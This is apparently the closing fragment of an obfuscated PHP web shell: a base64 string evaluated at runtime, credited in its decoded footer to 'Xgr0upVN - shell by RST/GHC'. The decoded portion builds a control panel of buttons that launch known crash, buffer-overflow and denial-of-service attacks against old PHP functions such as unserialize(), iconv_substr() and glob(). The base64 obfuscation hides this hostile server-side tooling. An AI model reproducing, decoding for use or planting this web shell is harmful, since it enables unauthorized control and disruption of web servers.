MjUlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIGNvbG9yPXJlZCBzaXplPS0yPjxiPjxk aXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMzEnXS4iPC9kaXY+ PC9iPjwvZm9udD4iOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMTMn KS5pbignc3VibWl0Jywnc3VibWl0JywwLCdBcnIuIENyLiA2NGJbdW5zZXJpYWxpemUoKV0oUEhQPDUu Mi4xKScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MxNCcp LmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBbc3RyX2lyZXBsYWNlKCldKFBIUDw1LjIueCknKS4k ZmUpOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMTUnKS5pbignc3Vi bWl0Jywnc3VibWl0JywwLCdCb0YgW2h0bWxlbnRpdGllcygpXShQSFA8NS4xLjYsNC40LjQpJykuJGZl KTsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczE2JykuaW4oJ3N1Ym1p dCcsJ3N1Ym1pdCcsMCwnQm9GIFt6aXBfZW50cnlfcmVhZCgpXShQSFA8NC40LjUpJykuJGZlKTsNCmVj aG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczE3JykuaW4oJ3N1Ym1pdCcsJ3N1 Ym1pdCcsMCwnQm9GIFtzcWxpdGVfdWRmX2RlY29kZV9iaW5hcnkoKV0oUEhQPDUuMi4xKScpLiRmZSk7 DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MxOCcpLmluKCdzdWJtaXQn LCdzdWJtaXQnLDAsJ0JvRiBbbXNnX3JlY2VpdmUoKV0oUEhQPDUuMi4xKScpLiRmZSk7DQplY2hvIHNy KDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MxOScpLmluKCdzdWJtaXQnLCdzdWJtaXQn LDAsJ0JvRiBbcGhwX3N0cmVhbV9maWx0ZXJfY3JlYXRlKCldKFBIUDU8NS4yLjEpJykuJGZlKTsNCmVj aG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczIwJykuaW4oJ3N1Ym1pdCcsJ3N1 Ym1pdCcsMCwnQm9GIFt1bnNlcmlhbGl6ZSgpXShQSFA8NC40LjQpJykuJGZlKTsNCmVjaG8gc3IoMTAs IiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczIxJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwn Qm9GIFtnZEltYWdlQ3JlYXRlVHJ1ZUNvbG9yKCldKFBIUDw1LjIueCknKS4kZmUpOw0KZWNobyBzcigx MCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMjInKS5pbignc3VibWl0Jywnc3VibWl0Jyww LCdCb0YgW2dkSW1hZ2VDb3B5UmVzaXplZCgpXShQSFA8NS4yLngpJykuJGZlKTsNCmVjaG8gc3IoMTAs IiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczIzJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwn RG9TIFtpY29udl9zdWJzdHIoKV0oUEhQPDUuMi54KScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5p bignaGlkZGVuJywnY21kJywwLCdkb3MyNCcpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0RvUyBbc2V0 bG9jYWxlKCldKFBIUDw1LjIueCknKS4kZmUpOw0KZWNobyAkdGUuIjwvdGQ+PHRkIHZhbGlnbj10b3Ag d2lkdGg9MjUlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIGNvbG9yPXJlZCBzaXplPS0y PjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMzEnXS4i PC9kaXY+PC9iPjwvZm9udD4iOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwn ZG9zMjUnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdEb1MgW2dsb2IoKV0gMSAoUEhQPDUuMi54KScp LiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MyNicpLmluKCdz dWJtaXQnLCdzdWJtaXQnLDAsJ0RvUyBbZ2xvYigpXSAyIChQSFA8NS4yLngpJykuJGZlKTsNCmVjaG8g c3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczI3JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1p dCcsMCwnRG9TIFtmbm1hdGNoKCldKFBIUDw1LjIueCknKS4kZmUpOw0KZWNobyBzcigxMCwiIiwkZnMu aW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMjgnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdCb0YgW2lt YWdlcHNsb2FkZm9udCgpXShQSFA8NS4yLngpJykuJGZlKTsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdo aWRkZW4nLCdjbWQnLDAsJ2RvczI5JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQm9GIG1TUUwgW21z cWxfY29ubmVjdF0oUEhQPDUuMi54KScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVu JywnY21kJywwLCdkb3MzMCcpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBbY2h1bmtfc3BsaXQo KV0oUEhQPDUuMi54KScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJyww LCdkb3MzMScpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBbcGhwX3dpbjMyc3RpLmRsXShQSFA8 NS4yLngpJykuJGZlKTsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczMy JykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwnQm9GIFtwaHBfaWlzZnVuYy5kbGxdKFBIUDw1LjIueCkn KS4kZmUpOw0KZWNobyBzcigxMCwiIiwkZnMuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG9zMzMnKS5pbign c3VibWl0Jywnc3VibWl0JywwLCdCb0YgW250dXNlcl9nZXR1c2VybGlzdCgpXShQSFA8NS4yLngpJyku JGZlKTsNCmVjaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvczM0JykuaW4oJ3N1 Ym1pdCcsJ3N1Ym1pdCcsMCwnRG9TIFtjb21fcHJpbnRfdHlwZWluZm8oKV0oUEhQPDUuMi54KScpLiRm

ZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MzNScpLmluKCdzdWJt aXQnLCdzdWJtaXQnLDAsJ0JvRiBbaWNvbnYoKV0oUEhQPDUuMi54KScpLiRmZSk7DQplY2hvIHNyKDEw LCIiLCRmcy5pbignaGlkZGVuJywnY21kJywwLCdkb3MzNicpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAs J0JvRiBbaWNvbnZfbV9kX2hlYWRlcnMoKV0oUEhQPDUuMi54KScpLiRmZSk7DQplY2hvICR0ZS4iPC90 ZD48dGQgdmFsaWduPXRvcCB3aWR0aD0yNSU+Ii4kdHM7DQplY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEg Y29sb3I9cmVkIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1 YWdlLidfdGV4dDEzMSddLiI8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNyKDEwLCIiLCRmcy5pbign aGlkZGVuJywnY21kJywwLCdkb3MzNycpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBbaWNvbnZf bWltZV9kZWNvZGUoKV0oUEhQPDUuMi54KScpLiRmZSk7DQplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlk ZGVuJywnY21kJywwLCdkb3MzOCcpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBbaWNvbnZfc3Ry bGVuKCldKFBIUDw1LjIueCknKS4kZmUpOw0KLyplY2hvIHNyKDEwLCIiLCRmcy5pbignaGlkZGVuJywn Y21kJywwLCdkb3MnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCdCb0YgWygpXShQSFA8NS4yLngpJyku JGZlKTsqLw0KZWNobyAkdGUuIjwvdGQ+PC90cj48L2Rpdj48L3RhYmxlPiI7DQplY2hvICc8L3RhYmxl PicuJHRhYmxlX3VwMy4iPC9kaXY+PC9kaXY+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPjxmb250IGZh Y2U9VmVyZGFuYSBzaXplPS0yPjxiPm8tLS1bIFhncjB1cFZOIC0gc2hlbGwgYnkgUlNUL0dIQyB8IDxh IGhyZWY9aHR0cDovL1hncjB1cFZOLlZuPmh0dHA6Ly9YZ3IwdXBWTi5WbjwvYT4gfCA8YSBocmVmPWh0 dHA6Ly9oY2Vncm91cC5uZXQ+SEBjaytDckBjaz1FbmoweSE8L2E+IHwgRGVzaWduIGJ5OiBBbHVDYVIg fCB2ZXJzaW9uICIuJHZlcnNpb24uIiBdLS0tbzwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFi bGU+Ijs=')); ?>

You might also like